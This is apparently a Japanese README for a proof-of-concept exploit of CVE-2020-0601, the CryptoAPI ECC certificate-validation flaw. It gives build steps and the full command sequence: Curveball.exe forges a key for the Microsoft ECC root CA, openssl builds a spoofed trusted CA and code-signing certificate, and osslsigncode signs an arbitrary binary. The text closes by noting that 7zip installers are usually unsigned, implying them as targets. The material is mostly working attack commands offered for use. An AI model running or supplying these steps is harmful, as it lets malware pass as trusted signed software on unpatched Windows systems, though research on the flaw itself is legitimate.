
CVE-2020-0601 用 PoC - CryptoAPI エクスプロイト
CVE-2020-0601 の PoC。詳細なブログ記事はこちらで見つけられます。このエクスプロイトは、CryptoAPI が ECC ベースの証明書の特定のパラメータを処理する方法を悪用して、偽の信頼された証明書を作成することを可能にします。
リポジトリをクローンし、Visual Studio 2019 で開きます。Release に切り替えてコンパイルします。プリビルドされたバイナリはこちらで見つけられます。
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# Linux bash の場合(Windows でも使用できますが、osslsigncode の代替手段を入手する必要があります)。Windows 上の WSL でも問題なく動作します。
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>
7zip インストーラは通常署名されていないことに注意してください!
